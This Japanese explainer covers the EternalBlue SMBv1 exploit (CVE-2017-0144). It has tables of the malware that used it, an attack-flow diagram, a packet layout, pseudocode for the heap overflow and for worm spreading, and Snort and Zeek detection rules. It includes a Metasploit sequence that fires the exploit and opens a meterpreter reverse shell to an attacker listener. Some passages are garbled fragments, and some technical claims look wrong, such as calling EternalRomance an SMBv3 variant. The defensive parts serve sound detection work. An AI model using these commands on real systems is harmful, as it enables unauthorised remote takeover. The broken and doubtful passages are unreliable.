
CVE-2017-0144

「ひとつのエクスプロイト。数十のマルウェアファミリー。数十億ドルの損害。」
CVE-2017-0144 は、Microsoft Windows の SMBv1 サーバー実装における深刻なリモートコード実行の脆弱性である。EternalBlue として知られるエクスプロイトはこの穴を悪用し、影響の大きい攻撃(特に WannaCry)に使用された。
| # | マルウェア | タイプ | 初確認 | 攻撃者 | 被害額 | 備考 |
|---|---|---|---|---|---|---|
| 1 | WannaCry | ランサムウェア | 2017年5月12日 | Lazarus Group(北朝鮮) | 40〜80億ドル | キルスイッチ: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | ワイパー(ランサムウェアを装う) | 2017年6月27日 | Sandworm(ロシア) | 100億ドル以上 | Mimikatz + EternalBlue + PSEXEC を使用 |
| 3 | Bad Rabbit | ランサムウェア | 2017年10月24日 | Indrik Spider | 地域的 | 偽の Flash アップデートによるドライブバイ |
| 4 | Uiwix | ランサムウェア | 2017年5月 | 不明 | 低 | キルスイッチなし、WannaCry よりステルス的 |
| 5 | EternalRocks | ワーム | 2017年5月 | 不明 | 中 | 7つの NSA ツール(DoublePulsar 含む) |
| 6 | Adylkuzz | クリプトマイナー | 2017年5月 | 不明 | 高(サイレント) | WannaCry より前 に Monero を採掘 |
| 7 | Retefe | 銀行型トロイの木馬 | 2017〜2018年 | 不明 | EU の銀行 | 横展開に EternalBlue を使用 |
| 8 | TrickBot | モジュール型マルウェア | 2017〜2021年 | Wizard Spider | 世界的 | EternalBlue 経由で Ryuk を展開 |
| 9 | Emotet | ローダー | 2017〜2021年 | TA542 | 世界的 | Cobalt Strike への入口として使用 |
| 10 | Clop / Dridex | ランサムウェア | 2019〜2025年 | TA505 | 医療、政府機関 | 2025年現在も活動中 |
| ツール | 公開時期 | 特徴 |
|---|---|---|
| EternalBlue(オリジナル) | 2017年4月(Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | 2017年4月 | バックドア埋め込み(ring0) |
| EternalRomance | 2017年4月 | SMBv3 版 |
| EternalChampion | 2017年4月 | 代替 SMB 経路 |
| Metasploit モジュール | 2017年5月 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | 2017年4月 | NSA のエクスプロイトフレームワーク |
| Impacket + PSEXEC | 2017〜2025年 | Python による SMB エクスプロイト |
「ひとつの不正なパケット。完全な SYSTEM アクセス。ログイン不要。クリック不要。」
[Attacker]
│
├──▶ Sends crafted SMBv1 **Trans2** request
│ → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Overwrites function pointers → **kernel shellcode**
│
└──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
(e.g., WannaCry `mssecsvc.exe`)
| 要件 | 詳細 |
|---|---|
| ターゲット | SMBv1 が有効な Windows(Win10 以前はデフォルト) |
| 開放ポート | 445/TCP(または NetBIOS 経由の 139/TCP) |
| 認証不要 | 未認証 — ユーザー名・パスワード不要 |
| アーキテクチャ | x86 または x64(両対応) |
| パッチ状態 | 未適用(MS17-010 以前) |
SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed
なぜ? SMBv1 が有効であることを確認するため。
\\TARGET\IPC$ → Anonymous share for SMB pipes
目的: トランザクションリクエストを送信するためのセッションを確立する。
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (or large value)
...
}
バグの引き金:
SrvOS2FeaListSizeToNt()はこのサイズを境界チェックなしで信頼する。
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Overflow buffer
}
ヒープスプレー: メモリレイアウトを制御するために大きなチャンクを割り当てる。
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // attacker-controlled
PULONG pNtFeaListSize // output pointer
)
{
// No validation of FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free ルーチン)を上書きKeUserModeCallback 経由)mssecsvc.exe)
0x00120034)を注入Ping: 0x0002C001Exec: 0x0002C002 + ペイロードWannaCry の例:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files
SMB Header
└── Command: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parameter: TotalDataCount = 0x1000
└── Data:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray heap
[OVERFLOW] → Overwrite pool
[SHELLCODE] → x64 ring0
| ツール | 言語 | モジュール |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python(NSA) | EternalBlue-2.2.0 |
| カスタム C2 | C/C++ | WannaCry、NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| 証跡 | 場所 | 値 |
|---|---|---|
| DoublePulsar | カーネルメモリ | XOR キー 0x00120034 |
| シェルコード | srvnet.sys プール | 0xCC 0x90 0x48 パターン |
| 注入された DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE Attempt";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Scan network for port 445
if (open) → EternalBlue exploit
if (success) → Drop mssecsvc.exe + propagate
Sleep(random(1000, 5000))
}
拡散速度: 世界で毎時約 10,000 台に感染。
| 要因 | 理由 |
|---|---|
| 認証不要 | SMBv1 は匿名の IPC$ を許可 |
| ワーム化可能 | LAN スキャンが組み込み |
| カーネル RCE | AV・ユーザープロンプトを回避 |
| レガシー SMBv1 | 15年以上デフォルトで有効 |
| 未パッチのシステム | 重要インフラ内の XP、2003、7 |